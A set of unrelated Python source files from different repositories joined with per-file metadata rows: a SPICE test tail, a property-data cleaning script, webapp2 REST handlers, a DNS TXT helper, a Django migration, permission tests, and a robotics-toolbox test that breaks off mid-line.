s.errint('#', 4) s.errch('#', 'FOO') msg = s.getmsg('LONG') self.assertEqual(msg, 'Long pi=3.1415900000000E+00; four=4; foo="FOO"') s.chkin('foo') s.chkin('bar') self.assertEqual(s.trcdep(), 2) self.assertEqual(s.trcnam(1), 'bar') try: s.sigerr('Short') except RuntimeError as e: pass self.assertEqual(str(e), 'Short -- bar -- ' + msg) self.assertEqual(s.getmsg('short'), 'Short') self.assertEqual(s.getmsg('long'), msg) self.assertEqual(s.trcdep(), 1) self.assertEqual(s.trcnam(0), 'foo') s.reset() self.assertEqual(s.getmsg('short'), '') self.assertEqual(s.getmsg('long'), '') self.assertEqual(s.trcdep(), 1) self.assertEqual(s.trcnam(0), 'foo') s.chkout('foo') self.assertEqual(s.trcdep(), 0) ######################################### # SPYCE_SIGNATURES["qcktrc"] = [] # SPYCE_ARGNAMES ["qcktrc"] = [] # SPYCE_RETURNS ["qcktrc"] = ["string"] # SPYCE_DOCSTRINGS["qcktrc"] = """ # Return a string containing a traceback. # # qcktrc() -> <string> trace # # trace = A traceback string. # # https://naif.jpl.nasa.gov/pub/naif/toolkit_docs/C/cspice/qcktrc_c.html # """ ################################################################################ import unittest if __name__ == '__main__': unittest.main(verbosity=2) ################################################################################

30.063584

83

0.596488

1,948

15,603

4.767967

0.073409

0.331072

0.344531

0.130276

0.869294

0.811477

0.753338

0.725668

0.706395

0.696598

0

0.013537

0.176184

15,603

518

84

30.121622

0.70904

0.046722

0

0.821053

0

0.183847

0.013127

0

0.652632

0

null

0.010526

0.015789

null

0.073684

0

null

1

0

1

0

1

0

null

0

1

0

11

f604bff44cf85e9c083236d20a0f2296c7d29389

6,122

py

Python

_scrapers&cleaners/daft_analytics/data_preprocessing/data_actual_address.py

LukaszMalucha/Python-with-Tableau

d2b0a5ab9726aad78ec1cdf76006c66942a1b989

[ "MIT" ]

6

2018-09-25T18:37:14.000Z

2021-04-24T23:58:27.000Z

_scrapers&cleaners/daft_analytics/data_preprocessing/data_actual_address.py

LukaszMalucha/Python-with-Tableau

d2b0a5ab9726aad78ec1cdf76006c66942a1b989

[ "MIT" ]

12

2020-01-08T11:56:11.000Z

2022-02-27T09:48:02.000Z

_scrapers&cleaners/daft_analytics/data_preprocessing/data_actual_address.py

LukaszMalucha/Python-with-Tableau

d2b0a5ab9726aad78ec1cdf76006c66942a1b989

[ "MIT" ]

1

2019-08-17T04:33:11.000Z

import pandas as pd def clean_dataset(filename): dataset = pd.read_csv(filename) dataset = dataset.iloc[:, [0,1,3,4,5,6,7]] dataset = dataset.dropna() dataset = dataset[dataset.ber_rating != 'BER SINo666of2006exempt'] dataset = dataset[dataset.price != 'Price On Application'] dataset = dataset[dataset.price != 'price'] dataset = dataset.drop_duplicates() property_name = dataset['property_name'] rows = [] for row in property_name: row = row.split(', Co. ')[0] row = row.split(',')[-1] rows.append(row) dataset['area'] = rows dataset['area'] = dataset['area'].str.lstrip() ## BER dataset['ber_rating'] = dataset['ber_rating'].str.replace('BER','') dataset['ber_rating'] = dataset['ber_rating'].str.replace(' ','') ## property type (1 - house, 0 - apartment) dataset.property_type.unique() dataset = dataset.replace('Apartment For Sale ', 'Apartment') dataset = dataset.replace('Duplex For Sale ', 'Apartment') dataset = dataset.replace('Detached House ', 'House') dataset = dataset.replace('End of Terrace House ', 'House') dataset = dataset.replace('Terraced House ', 'House') dataset = dataset.replace('ungalow For Sale ', 'House') dataset = dataset.replace('Semi-Detached House ', 'House') dataset = dataset.replace('partment for sale', 'Apartment') dataset = dataset.replace('uplex for sale', 'Apartment') dataset = dataset.replace('Detached House', 'House') dataset = dataset.replace('End of Terrace House', 'House') dataset = dataset.replace('Terraced House', 'House') dataset = dataset.replace('ungalow for sale', 'House') dataset = dataset.replace('Semi-Detached House', 'House') dataset = dataset.replace('Townhouse', 'House') dataset = dataset.replace('tudio apartment for sale', 'Apartment') dataset = dataset.replace('House For Sale', 'House') dataset = dataset.replace('Studio Apartment For Sale', 'Apartment') dataset = dataset.replace('Apartment', 0) dataset = dataset.replace('House', 1) ## beds dataset['beds'] = dataset['beds'].str.replace('Beds', '') dataset['beds'] = dataset['beds'].str.replace('Bed', '') dataset['beds'] = dataset['beds'].str.replace(' ','') ## baths dataset['baths'] = dataset['baths'].str.replace('Baths', '') dataset['baths'] = dataset['baths'].str.replace('Bath', '') dataset['baths'] = dataset['baths'].str.replace(' ','') ## price dataset['price'] = dataset['price'].str.replace('AMV: ', '') dataset['price'] = dataset['price'].str.replace(' ', '') dataset = dataset.rename(index=str, columns={'property_name': 'property address', 'property_type': 'type of property', 'beds': 'bedrooms', 'baths': 'bathrooms', 'ber_rating': 'BER'}) return dataset cork_actual_clean = clean_dataset('cork_actual.csv') cork_actual_clean.to_csv('cork_actual_address_clean.csv', encoding="utf-8") galway_actual_clean = clean_dataset('galway_actual.csv') galway_actual_clean.to_csv('galway_actual_address_clean.csv', encoding="utf-8") limerick_actual_clean = clean_dataset('limerick_actual.csv') limerick_actual_clean.to_csv('limerick_actual_address_clean.csv', encoding="utf-8") # # # import pandas as pd dataset = pd.read_csv('galway_actual.csv') dataset = dataset.iloc[:, [0,1,3,4,5,7]] dataset = dataset.dropna() dataset = dataset.drop_duplicates() # #dataset = dataset[dataset.ber_rating != 'SINo666of2006exempt'] #dataset = dataset[dataset.price != 'Price On Application'] # ### property name --> area address # #property_name = dataset['property_name'] # # #rows = [] #for row in property_name: # row = row.split(', Co. Galway')[0] # row = row.split(',')[-1] # rows.append(row) # #address = pd.Series(rows) # #dataset['area'] = rows # # ### BER # #dataset['ber_rating'] = dataset['ber_rating'].str.replace('BER','') #dataset['ber_rating'] = dataset['ber_rating'].str.replace(' ','') # # ### property type # #dataset.property_type.unique() # #dataset = dataset.replace('Apartment For Sale ', 'Apartment') #dataset = dataset.replace('Duplex For Sale ', 'Apartment') #dataset = dataset.replace('Detached House ', 'House') #dataset = dataset.replace('End of Terrace House ', 'House') #dataset = dataset.replace('Terraced House ', 'House') #dataset = dataset.replace('ungalow For Sale ', 'House') #dataset = dataset.replace('Semi-Detached House ', 'House') #dataset = dataset.replace('partment for sale', 'Apartment') #dataset = dataset.replace('uplex for sale', 'Apartment') #dataset = dataset.replace('Detached House', 'House') #dataset = dataset.replace('End of Terrace House', 'House') #dataset = dataset.replace('Terraced House', 'House') #dataset = dataset.replace('ungalow for sale', 'House') #dataset = dataset.replace('Semi-Detached House', 'House') #dataset = dataset.replace('Townhouse', 'House') #dataset = dataset.replace('tudio apartment for sale', 'Apartment') # ### beds #dataset['beds'] = dataset['beds'].str.replace('Beds', '') #dataset['beds'] = dataset['beds'].str.replace('Bed', '') #dataset['beds'] = dataset['beds'].str.replace(' ','') # ### baths #dataset['baths'] = dataset['baths'].str.replace('Baths', '') #dataset['baths'] = dataset['baths'].str.replace('Bath', '') #dataset['baths'] = dataset['baths'].str.replace(' ','') # ### price #dataset['price'] = dataset['price'].str.replace('AMV: ', '') #dataset['price'] = dataset['price'].str.replace(' ', '') # #dataset = dataset.rename(index=str, columns={'property_name': 'property address', # 'property_type': 'type of property', # 'beds': 'bedrooms', # 'baths': 'bathrooms', # 'ber_rating': 'BER'}) # # #

35.593023

86

0.615485

672

6,122

5.517857

0.11756

0.203884

0.161273

0.849515

0.828749

0.800971

0.756203

0.695793

0

0.007788

0.203038

6,122

171

87

35.80117

0.752203

0.383371

0

0.215385

0

0.253536

0.025299

0

1

0.015385

false

0

0.030769

0

0.061538

0

null

1

0

1

0

null

0

8

9c9b10c0590f5287596a52760805a26b84186154

7,888

py

Python

server/src/genericHandlers.py

CaveMike/pycorrigan

bff02dd9fb6d00905e7455bb579d07d84298e574

[ "MIT" ]

null

server/src/genericHandlers.py

CaveMike/pycorrigan

bff02dd9fb6d00905e7455bb579d07d84298e574

[ "MIT" ]

null

server/src/genericHandlers.py

CaveMike/pycorrigan

bff02dd9fb6d00905e7455bb579d07d84298e574

[ "MIT" ]

null

import jinja import json import logging from webapp2 import RequestHandler from ndbjsonencoder import NdbJsonEncoder class GenericParentHandlerJson(RequestHandler): def __init__(self, request, response, adapter): super(GenericParentHandlerJson, self).__init__(request, response) self.adapter = adapter logging.getLogger().debug('adapter=' + str(type(self.adapter))) # List all def get(self, *args, **kwargs): logging.getLogger().debug('get: args: %s, kwargs: %s' % (args, kwargs)) objs = self.adapter.list_all(self.request, self.request.body) result = json.dumps(obj=objs, cls=NdbJsonEncoder) self.response.headers['Content-Type'] = 'application/json' self.response.write(result) # Create child def post(self, *args, **kwargs): logging.getLogger().debug('post: args: %s, kwargs: %s' % (args, kwargs)) if not self.request.body: self.abort(400) obj = self.adapter.create_child(self.request, self.request.body) result = json.dumps(obj=obj, cls=NdbJsonEncoder) self.response.headers['Content-Type'] = 'application/json' self.response.write(result) # Replace all def put(self, *args, **kwargs): logging.getLogger().debug('put: args: %s, kwargs: %s' % (args, kwargs)) result = self.adapter.update_all(self.request, self.request.body) self.response.headers['Content-Type'] = 'application/json' self.response.write(result) # Delete all def delete(self, *args, **kwargs): logging.getLogger().debug('delete: args: %s, kwargs: %s' % (args, kwargs)) result = self.adapter.delete_all(self.request, self.request.body) self.response.headers['Content-Type'] = 'application/json' self.response.write(result) class GenericHandlerJson(RequestHandler): def __init__(self, request, response, adapter): super(GenericHandlerJson, self).__init__(request, response) self.adapter = adapter @staticmethod def get_id(kwargs, request): PARAM_KEY_NAME = 'id' if kwargs.has_key(PARAM_KEY_NAME): id = kwargs[PARAM_KEY_NAME] logging.getLogger().debug('from kwargs: id: %s' % (id)) else: id = request.get(PARAM_KEY_NAME) logging.getLogger().debug('from request: id: %s' % (id)) if id: logging.getLogger().debug('id: %s' % (id)) return id self.abort(501) # List one def get(self, *args, **kwargs): logging.getLogger().debug('get: args: %s, kwargs: %s' % (args, kwargs)) id = self.get_id(kwargs, self.request) obj = self.adapter.list_one(id, self.request, self.request.body) result = json.dumps(obj=obj, cls=NdbJsonEncoder) self.response.headers['Content-Type'] = 'application/json' self.response.write(result) # Create child def post(self, *args, **kwargs): logging.getLogger().debug('post: args: %s, kwargs: %s' % (args, kwargs)) id = self.get_id(kwargs, self.request) result = self.adapter.create_grandchild(id, self.request, self.request.body) self.abort(501) self.response.headers['Content-Type'] = 'application/json' self.response.write(result) # Update one def put(self, *args, **kwargs): logging.getLogger().debug('put: args: %s, kwargs: %s' % (args, kwargs)) id = self.get_id(kwargs, self.request) obj = self.adapter.update_one(id, self.request, self.request.body) result = json.dumps(obj=obj, cls=NdbJsonEncoder) self.response.headers['Content-Type'] = 'application/json' self.response.write(result) # Delete one def delete(self, *args, **kwargs): logging.getLogger().debug('delete: args: %s, kwargs: %s' % (args, kwargs)) id = self.get_id(kwargs, self.request) result = self.adapter.delete_one(id, self.request, self.request.body) self.response.headers['Content-Type'] = 'application/json' self.response.write(result) class GenericParentHandlerHtml(RequestHandler): def __init__(self, request, response, adapter): super(GenericParentHandlerHtml, self).__init__(request, response) self.adapter = adapter # List all def get(self, *args, **kwargs): logging.getLogger().debug('get: args: %s, kwargs: %s' % (args, kwargs)) template_values = self.adapter.parse_template_values(self.request) template_values['results'] = self.adapter.list_all(self.request) template = jinja.get_template('html/all.html') result = template.render(template_values) self.response.headers['Content-Type'] = 'text/html' self.response.write(result) def post(self, *args, **kwargs): logging.getLogger().debug('post: args: %s, kwargs: %s' % (args, kwargs)) method = self.request.get('method') if method == 'delete': self.delete(*args, **kwargs) else: self._post(*args, **kwargs) # Create child def _post(self, *args, **kwargs): logging.getLogger().debug('_post: args: %s, kwargs: %s' % (args, kwargs)) if not self.request.body: self.abort(400) obj = self.adapter.create_child(self.request, body=None) if obj: self.redirect(obj.redirect_url()) self.response.headers['Content-Type'] = 'text/html' self.response.write('error, not created') # Delete all def delete(self, *args, **kwargs): logging.getLogger().debug('delete: args: %s, kwargs: %s' % (args, kwargs)) result = self.adapter.delete_all(self.request) self.redirect(self.adapter.redirect_url()) class GenericHandlerHtml(RequestHandler): def __init__(self, request, response, adapter): super(GenericHandlerHtml, self).__init__(request, response) self.adapter = adapter @staticmethod def get_id(kwargs, request): PARAM_KEY_NAME = 'id' if kwargs.has_key(PARAM_KEY_NAME): id = kwargs[PARAM_KEY_NAME] logging.getLogger().debug('from kwargs: id: %s' % (id)) else: id = request.get(PARAM_KEY_NAME) logging.getLogger().debug('from request: id: %s' % (id)) if id: logging.getLogger().debug('id: %s' % (id)) return id self.abort(501) # List one def get(self, *args, **kwargs): logging.getLogger().debug('get: args: %s, kwargs: %s' % (args, kwargs)) id = self.get_id(kwargs, self.request) template_values = self.adapter.parse_template_values(self.request) template_values['result'] = self.adapter.list_one(id, self.request) template = jinja.get_template('html/one.html') result = template.render(template_values) self.response.write(result) def post(self, *args, **kwargs): logging.getLogger().debug('post: args: %s, kwargs: %s' % (args, kwargs)) method = self.request.get('method') if method == 'delete': self.delete(*args, **kwargs) else: self._post(*args, **kwargs) # Update one def _post(self, *args, **kwargs): logging.getLogger().debug('_post: args: %s, kwargs: %s' % (args, kwargs)) if not self.request.body: self.abort(400) id = self.get_id(kwargs, self.request) result = self.adapter.update_one(id, self.request, body=None) self.redirect(self.adapter.redirect_url()) # Delete one def delete(self, *args, **kwargs): logging.getLogger().debug('delete: args: %s, kwargs: %s' % (args, kwargs)) id = self.get_id(kwargs, self.request) result = self.adapter.delete_one(id, self.request) self.redirect(self.adapter.redirect_url())

33.142857

84

0.620563

936

7,888

5.128205

0.080128

0.091667

0.100625

0.07

0.90375

0.902708

0.888125

0.83875

0.767083

0.754375

0

0.003148

0.234914

7,888

237

85

33.2827

0.792212

0.01927

0

0.779221

0

0.11255

0

1

0.142857

false

0

0.032468

0

0.214286

0

null

0

1

0

1

0

null

0

7

9cab1230d8a032c31b7927b5e82d8da88a6c0874

5,786

py

Python

route53_to_cloudflare/mod/TXT.py

itaior/tfname-cf

492bd1488ceac6d12c67519c90f2af44d7828d4e

[ "MIT" ]

null

route53_to_cloudflare/mod/TXT.py

itaior/tfname-cf

492bd1488ceac6d12c67519c90f2af44d7828d4e

[ "MIT" ]

null

route53_to_cloudflare/mod/TXT.py

itaior/tfname-cf

492bd1488ceac6d12c67519c90f2af44d7828d4e

[ "MIT" ]

null

#!/usr/bin/env python3 import re # fix replace '"' with '' and fix DKIM value def fix_TXT_Value(input_value): value = input_value.replace('"', '') if re.match(r'.*DKIM', value): value = '; '.join(re.sub(pattern=r'\s+|\\;', repl='', string=value).split(';')).strip() return value def set_TXT_value(record_values): value1="" value2="" value3="" value4="" value5="" value6="" value7="" value8="" value9="" value10="" if (len(record_values)) == 1: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) elif (len(record_values)) == 2: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) elif (len(record_values)) == 3: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) elif (len(record_values)) == 4: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) value4 = fix_TXT_Value(record_values[3]['Value'].replace('"', '')) elif (len(record_values)) == 5: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) value4 = fix_TXT_Value(record_values[3]['Value'].replace('"', '')) value5 = fix_TXT_Value(record_values[4]['Value'].replace('"', '')) elif (len(record_values)) == 6: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) value4 = fix_TXT_Value(record_values[3]['Value'].replace('"', '')) value5 = fix_TXT_Value(record_values[4]['Value'].replace('"', '')) value6 = fix_TXT_Value(record_values[5]['Value'].replace('"', '')) elif (len(record_values)) == 7: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) value4 = fix_TXT_Value(record_values[3]['Value'].replace('"', '')) value5 = fix_TXT_Value(record_values[4]['Value'].replace('"', '')) value6 = fix_TXT_Value(record_values[5]['Value'].replace('"', '')) value7 = fix_TXT_Value(record_values[6]['Value'].replace('"', '')) elif (len(record_values)) == 8: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) value4 = fix_TXT_Value(record_values[3]['Value'].replace('"', '')) value5 = fix_TXT_Value(record_values[4]['Value'].replace('"', '')) value6 = fix_TXT_Value(record_values[5]['Value'].replace('"', '')) value7 = fix_TXT_Value(record_values[6]['Value'].replace('"', '')) value8 = fix_TXT_Value(record_values[7]['Value'].replace('"', '')) elif (len(record_values)) == 9: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) value4 = fix_TXT_Value(record_values[3]['Value'].replace('"', '')) value5 = fix_TXT_Value(record_values[4]['Value'].replace('"', '')) value6 = fix_TXT_Value(record_values[5]['Value'].replace('"', '')) value7 = fix_TXT_Value(record_values[6]['Value'].replace('"', '')) value8 = fix_TXT_Value(record_values[7]['Value'].replace('"', '')) value9 = fix_TXT_Value(record_values[8]['Value'].replace('"', '')) elif (len(record_values)) == 10: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) value4 = fix_TXT_Value(record_values[3]['Value'].replace('"', '')) value5 = fix_TXT_Value(record_values[4]['Value'].replace('"', '')) value6 = fix_TXT_Value(record_values[5]['Value'].replace('"', '')) value7 = fix_TXT_Value(record_values[6]['Value'].replace('"', '')) value8 = fix_TXT_Value(record_values[7]['Value'].replace('"', '')) value9 = fix_TXT_Value(record_values[8]['Value'].replace('"', '')) value10 = record_values[9]['Value'].replace('"', '') elif (len(record_values)) > 10: value1 = fix_TXT_Value(record_values[0]['Value'].replace('"', '')) value2 = fix_TXT_Value(record_values[1]['Value'].replace('"', '')) value3 = fix_TXT_Value(record_values[2]['Value'].replace('"', '')) value4 = fix_TXT_Value(record_values[3]['Value'].replace('"', '')) value5 = fix_TXT_Value(record_values[4]['Value'].replace('"', '')) value6 = fix_TXT_Value(record_values[5]['Value'].replace('"', '')) value7 = fix_TXT_Value(record_values[6]['Value'].replace('"', '')) value8 = fix_TXT_Value(record_values[7]['Value'].replace('"', '')) value9 = fix_TXT_Value(record_values[8]['Value'].replace('"', '')) return value1, value2, value3, value4, value5, value6, value7, value8, value9, value10

53.082569

95

0.59402

698

5,786

4.626075

0.075931

0.28244

0.218024

0.396408

0.921028

0.873955

0.860948

0

0.034577

0.175251

5,786

109

96

53.082569

0.642079

0.011234

0

0.677419

0

0.070105

0

1

0.021505

false

0

0.010753

0

0.053763

0

null

1

0

null

0

9

9cc19b9999dfa4ab2a375ed24527e282b29e4323

4,382

py

Python

members/crm/migrations/0029_auto_20200321_0541.py

ocwc/ocwc-members

3ede8e0ff830e2aaff4ae09f9aaefd3eaa83146b

[ "MIT" ]

null

members/crm/migrations/0029_auto_20200321_0541.py

ocwc/ocwc-members

3ede8e0ff830e2aaff4ae09f9aaefd3eaa83146b

[ "MIT" ]

7

2015-11-27T15:59:52.000Z

2022-01-13T00:38:38.000Z

members/crm/migrations/0029_auto_20200321_0541.py

ocwc/ocwc-members

3ede8e0ff830e2aaff4ae09f9aaefd3eaa83146b

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11.23 on 2020-03-21 05:41 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("crm", "0028_auto_20200114_0921")] operations = [ migrations.AlterField( model_name="membershipapplication", name="associate_consortium", field=models.CharField( blank=True, choices=[ ( b"CCCOER", b"Community College Consortium for Open Educational Resources (CCCOER)", ), (b"CORE", b"CORE"), (b"JOCWC", b"OE Japan"), (b"KOCWC", b"Korea OCW Consortium"), (b"TOCEC", b"Taiwan Open Course and Education Consortium"), (b"Turkish OCWC", b"Turkish OpenCourseWare Consortium"), (b"UNIVERSIA", b"UNIVERSIA"), (b"FOCW", b"Open Education France"), (b"OTHER", b"OTHER"), ], default=b"", max_length=255, ), ), migrations.AlterField( model_name="membershipapplication", name="institution_type", field=models.CharField( blank=True, choices=[ (b"secondary-ed", b"Primary and secondary (K-12)"), (b"college", b"Community, technical, or vocational college"), (b"higher-ed", b"University"), (b"non-accredited", b"Informal non-accredited education"), (b"lifelong", b"Lifelong learning"), (b"consortium", b"Consortia Member"), (b"consortium-org", b"Consortia Organization"), (b"initiative", b"Open initiatives or special project"), (b"commercial", b"Corporate enterprise"), (b"npo", b"Non-profits, NGO\xe2\x80\x99s, IGO"), (b"cultural", b"Cultural organization"), (b"gov", b"Government"), ], default=b"", max_length=25, verbose_name=b"Institution Category", ), ), migrations.AlterField( model_name="organization", name="associate_consortium", field=models.CharField( blank=True, choices=[ ( b"CCCOER", b"Community College Consortium for Open Educational Resources (CCCOER)", ), (b"CORE", b"CORE"), (b"JOCWC", b"OE Japan"), (b"KOCWC", b"Korea OCW Consortium"), (b"TOCEC", b"Taiwan Open Course and Education Consortium"), (b"Turkish OCWC", b"Turkish OpenCourseWare Consortium"), (b"UNIVERSIA", b"UNIVERSIA"), (b"FOCW", b"Open Education France"), (b"OTHER", b"OTHER"), ], default=b"", max_length=255, ), ), migrations.AlterField( model_name="organization", name="institution_type", field=models.CharField( blank=True, choices=[ (b"secondary-ed", b"Primary and secondary (K-12)"), (b"college", b"Community, technical, or vocational college"), (b"higher-ed", b"University"), (b"non-accredited", b"Informal non-accredited education"), (b"lifelong", b"Lifelong learning"), (b"consortium", b"Consortia Member"), (b"consortium-org", b"Consortia Organization"), (b"initiative", b"Open initiatives or special project"), (b"commercial", b"Corporate enterprise"), (b"npo", b"Non-profits, NGO\xe2\x80\x99s, IGO"), (b"cultural", b"Cultural organization"), (b"gov", b"Government"), ], default=b"", max_length=25, ), ), ]

40.953271

96

0.461661

386

4,382

5.186529

0.297927

0.043956

0.04995

0.057942

0.89011

0.828172

0

0.022736

0.417846

4,382

106

97

41.339623

0.762054

0.015746

0

0.909091

1

0

0.350348

0.015081

0

1

0

false

0

0.020202

0

0.050505

0

null

0

1

0

1

0

null

0

8

9cc40cceec63edaa3b8f8c7cbee7b76298b2cf41

5,224

py

Python

mkt/extensions/tests/test_permissions.py

Witia1/zamboni

b1e2d5d475abff2fa5d4990415a06adee33bd647

[ "BSD-3-Clause" ]

null

mkt/extensions/tests/test_permissions.py

Witia1/zamboni

b1e2d5d475abff2fa5d4990415a06adee33bd647

[ "BSD-3-Clause" ]

null

mkt/extensions/tests/test_permissions.py

Witia1/zamboni

b1e2d5d475abff2fa5d4990415a06adee33bd647

[ "BSD-3-Clause" ]

null

from django.contrib.auth.models import AnonymousUser from django.test.client import RequestFactory from mock import Mock from nose.tools import eq_ from mkt.extensions.models import Extension from mkt.extensions.permissions import (AllowExtensionReviewerReadOnly, AllowOwnerButReadOnlyIfBlocked) from mkt.site.fixtures import fixture from mkt.site.tests import TestCase from mkt.users.models import UserProfile class TestAllowExtensionReviewerReadOnly(TestCase): fixtures = fixture('user_2519') def setUp(self): self.permission = AllowExtensionReviewerReadOnly() self.user = AnonymousUser() self.request_factory = RequestFactory() self.unsafe_methods = ('patch', 'post', 'put', 'delete') self.safe_methods = ('get', 'options', 'head') def _request(self, verb): request = getattr(self.request_factory, verb)('/') request.user = self.user if self.user.is_authenticated(): request.groups = request.user.groups.all() return request def test_has_permission_anonymous(self): for verb in self.safe_methods + self.unsafe_methods: eq_(self.permission.has_permission(self._request(verb), 'myview'), False) def test_has_permission_no_rights(self): self.user = UserProfile.objects.get(pk=2519) for verb in self.safe_methods + self.unsafe_methods: eq_(self.permission.has_permission(self._request(verb), 'myview'), False) def test_has_permission_reviewer(self): self.user = UserProfile.objects.get(pk=2519) self.grant_permission(self.user, 'ContentTools:AddonReview') for verb in self.safe_methods: eq_(self.permission.has_permission(self._request(verb), 'myview'), True) # Unsafe methods are still disallowed. for verb in self.unsafe_methods: eq_(self.permission.has_permission(self._request(verb), 'myview'), False) def test_has_object_permission(self): obj = Mock() for verb in self.safe_methods + self.unsafe_methods: eq_(self.permission.has_object_permission(self._request(verb), 'myview', obj), False) def test_has_object_permission_no_rights(self): self.user = UserProfile.objects.get(pk=2519) obj = Mock() for verb in self.safe_methods + self.unsafe_methods: eq_(self.permission.has_object_permission(self._request(verb), 'myview', obj), False) def test_has_object_permission_reviewer(self): self.user = UserProfile.objects.get(pk=2519) self.grant_permission(self.user, 'ContentTools:AddonReview') obj = Mock() for verb in self.safe_methods: eq_(self.permission.has_object_permission(self._request(verb), 'myview', obj), True) # Unsafe methods are still disallowed. for verb in self.unsafe_methods: eq_(self.permission.has_object_permission(self._request(verb), 'myview', obj), False) class TestAllowOwnerIfNotBlocked(TestCase): fixtures = fixture('user_2519') def setUp(self): self.permission = AllowOwnerButReadOnlyIfBlocked() self.user = AnonymousUser() self.request_factory = RequestFactory() self.extension = Extension.objects.create() self.unsafe_methods = ('patch', 'post', 'put', 'delete') self.safe_methods = ('get', 'options', 'head') def _request(self, verb): request = getattr(self.request_factory, verb)('/') request.user = self.user return request def test_has_permission_anonymous(self): eq_(self.permission.has_permission(self._request('get'), 'myview'), False) def test_has_permission_logged_in(self): self.user = UserProfile.objects.get(pk=2519) eq_(self.permission.has_permission(self._request('get'), 'myview'), True) def test_has_object_permission_not_author(self): obj = self.extension eq_(self.permission.has_object_permission( self._request('get'), 'myview', obj), False) self.user = UserProfile.objects.get(pk=2519) eq_(self.permission.has_object_permission( self._request('get'), 'myview', obj), False) def test_has_object_permission_author(self): obj = self.extension self.user = UserProfile.objects.get(pk=2519) obj.authors.add(self.user) for verb in self.safe_methods + self.unsafe_methods: eq_(self.permission.has_object_permission( self._request(verb), 'myview', obj), True) def test_has_object_permission_blocked(self): obj = self.extension self.user = UserProfile.objects.get(pk=2519) obj.authors.add(self.user) obj.block() for verb in self.safe_methods: eq_(self.permission.has_object_permission( self._request(verb), 'myview', obj), True) for verb in self.unsafe_methods: eq_(self.permission.has_object_permission( self._request(verb), 'myview', obj), False)

37.855072

78

0.654288

598

5,224

5.501672

0.140468

0.063526

0.072948

0.086626

0.816717

0.806991

0.777508

0.704863

0.680851

0

0.010076

0.240046

5,224

137

79

38.131387

0.81864

0.013974

0

0.731481

0

0.045455

0.009324

0

1

0.138889

false

0

0.083333

0

0.277778

0

null

0

1

0

1

0

null

0

7

14460149a47a6a8bebd654ca4a344e21fcf56466

58,985

py

Python

tests/test_ETS.py

Russ76/robotics-toolbox-python

4b3e82a6522757ffde1f83aef8d05b3ad475e9de

[ "MIT" ]

null

tests/test_ETS.py

Russ76/robotics-toolbox-python

4b3e82a6522757ffde1f83aef8d05b3ad475e9de

[ "MIT" ]

null

tests/test_ETS.py

Russ76/robotics-toolbox-python

4b3e82a6522757ffde1f83aef8d05b3ad475e9de

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri May 1 14:04:04 2020 @author: Jesse Haviland """ import numpy.testing as nt import roboticstoolbox as rtb import numpy as np # import spatialmath.base as sm from spatialmath import SE3 from spatialmath.base import tr2jac import unittest import sympy class TestETS(unittest.TestCase): def test_bad_arg(self): rx = rtb.ET.Rx(1.543) ry = rtb.ET.Ry(1.543) with self.assertRaises(TypeError): rtb.ETS([rx, ry, 1.0]) # type: ignore with self.assertRaises(TypeError): rtb.ETS(1.0) # type: ignore def test_args(self): deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) r1 = l0 + l1 + l2 + l3 + l3 + l4 + l5 r2 = l0 * l1 * l2 * l3 * l3 * l4 * l5 r3 = rtb.ETS(l0 + l1 + l2 + l3 + l3 + l4 + l5) r4 = rtb.ETS([l0, l1, l2, l3, l3, l4, l5]) r5 = rtb.ETS([l0, l1, l2, l3, l3, l4, rtb.ET.Rx(90 * deg), rtb.ET.Rz(jindex=5)]) r6 = rtb.ETS([r1]) r7 = rtb.ETS(rtb.ET.Rx(1.0)) self.assertEqual(r1, r2) self.assertEqual(r1, r3) self.assertEqual(r1, r4) self.assertEqual(r1, r5) self.assertEqual(r7[0], rtb.ET.Rx(1.0)) self.assertEqual(r1 + rtb.ETS(), r2) def test_empty(self): r = rtb.ETS() self.assertEqual(r.n, 0) self.assertEqual(r.m, 0) def test_str(self): rx = rtb.ET.Rx(1.543) ry = rtb.ET.Ry(1.543) rz = rtb.ET.Rz(1.543) a = rtb.ET.Rx() b = rtb.ET.Ry() c = rtb.ET.Rz() d = rtb.ET.tx(1.0) e = 